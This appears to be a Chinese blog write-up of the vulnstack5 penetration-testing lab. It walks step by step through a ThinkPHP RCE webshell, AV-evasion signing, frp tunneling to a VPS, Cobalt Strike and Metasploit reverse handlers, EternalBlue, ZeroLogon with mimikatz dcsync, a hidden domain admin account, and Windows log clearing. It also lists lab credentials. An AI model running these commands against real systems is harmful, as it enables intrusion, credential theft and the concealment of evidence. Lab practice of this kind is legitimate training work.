• 红日靶场五(vulnstack5)渗透分析


    环境搭建

    1. win7
    2. 192.168.111.132(仅主机)
    3. 192.168.123.212(桥接)
    4. .\heart p-0p-0p-0
    5. win2008 ip:
    6. 192.168.111.131(仅主机)
    7. sun\admin 2020.com
    8. kali ip:
    9. 192.168.10.131(nat)
    10. vps:
    11. 101.42.**.**

    用本地管理员heart登录并开启phpstudy

    这里配置的原因是让kali可以访问win7,win7访问不了kali,模拟win7外网的环境和kali内网的环境

    getshell

    sudo nmap -sS -Pn -n --open --min-hostgroup 4 --min-parallelism 512 --host-timeout 30 -T3 -v -oG result.txt --script http-methods --script-args http.useragent="Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0"  10.133.10.135 -p 0-65535
    

    Discovered open port 110/tcp on 10.133.10.135
    Discovered open port 139/tcp on 10.133.10.135
    Discovered open port 3306/tcp on 10.133.10.135
    Discovered open port 135/tcp on 10.133.10.135
    Discovered open port 80/tcp on 10.133.10.135
    Discovered open port 445/tcp on 10.133.10.135
    Discovered open port 25/tcp on 10.133.10.135
    Discovered open port 49152/tcp on 10.133.10.135
    Discovered open port 49153/tcp on 10.133.10.135
    Discovered open port 49154/tcp on 10.133.10.135

    访问80页面发现一个thinkphp框架的首页,工具扫描RCE

    image-20230902185850477.png

    1. 一键getshell
    2. http://10.133.10.135/peiqi.php Pass:peiqi

    后渗透

    将kali通过frp到vps端口,并生成免杀exe,蚁剑上传执行

    python 签名.py -i D:\Huorong\Sysdiag\bin\HipsMain.exe -t UUIDtoShell.exe -o qm.exe
    

    上线cs,发现为heart用户,管理员权限,svc提权到system,抓取hash和明文,没有发现有用的域用户信息

    1. net view
    2. ipconfig /all

    发现主机dc:192.168.111.131 ,以及内网网卡192.168.111.132

    开启socks代理,通过fscan扫描内网111网段

    proxychains4  ./fscan -h 192.168.111.0/24
    

    192.168.111.131 MS17-010

    192.168.111.131:445 open
    192.168.111.131:135 open
    192.168.111.131:139 open
    192.168.111.131:88 open

    存在永恒之蓝,将cs转到msf

    1. 新建cs监听器,spawn msf/新建会话
    2. use exploit/multi/handler
    3. set payload windows/meterpreter/reverse_http
    4. set lhost 127.0.0.1
    5. set lport 4566
    6. run

    image-20230903002336049.png

    修改frp端口,增加4566为监听端口

    1. [cs->msf]
    2. type = tcp
    3. local_ip = 127.0.0.1
    4. local_port = 4566
    5. remote_port = 4566

    上线msf,开代理

    1. setg Proxies socks5:127.0.0.1:8899
    2. setg ReverseAllowProxy true

    MS17-010

    1. use auxiliary/scanner/smb/smb_ms17_010
    2. set rhosts 192.168.111.131
    3. run
    4. use exploit/windows/smb/ms17_010_eternalblue
    5. set payload windows/x64/meterpreter/bind_tcp
    6. set rhosts 192.168.111.131
    7. run

    失败了

    CVE-2020-1472-ZeroLogon

    1. mimikatz lsadump::zerologon /target:dc.sun.com /account:dc$
    2. mimikatz lsadump::zerologon /target:dc.sun.com /account:dc$ /exploit
    3. mimikatz lsadump::dcsync /domain:sun.com /dc:dc.sun.com /user:administrator /authuser:dc$ /authdomain:sun.com /authpassword:"" /authntlm
    4. mimikatz lsadump::postzerologon /target:sun.com /account:dc$
    5. #恢复密码,没有权限,可以先打到域控再复原
    1. sun.com\Administrator 9099d68602a60f007c227c4fa95fada6
    2. md5解密:p-0p-0p-0

    这里dc不出网,fscan扫描到开启了445端口,直接smb上线

    权限维持

    1. 创建影子账户
    2. net user coleak$ p-0p-0p-0 /add
    3. net localgroup administrators coleak$ /add
    4. net group "Domain Admins" coleak$ /add /domain
    5. net users

    痕迹清理

    1. wevtutil cl security //清理安全日志
    2. wevtutil cl system //清理系统日志
    3. wevtutil cl application //清理应用程序日志
    4. wevtutil cl "windows powershell" //清除power shell日志
    5. wevtutil cl Setup
  • 相关阅读:
    第32章_瑞萨MCU零基础入门系列教程之DS18B20温度获取实验
    入行10年后,我总结了这份FPGA学习路线
    RabbitMQ------简单队列模式以及工作队列模式以及消息应答的方式(三)
    《进阶篇第9章》学习vuex知识点后练习:把求和案例改成mapState与mapGetters
    经典网络架构-ResNet
    Pr:创建自己的项目模板
    利用回溯绕过正则表达式
    Java 基础语法
    1.在官网选择版本并下载
    System design summary
  • 原文地址:https://blog.csdn.net/zhanfan1103/article/details/132921181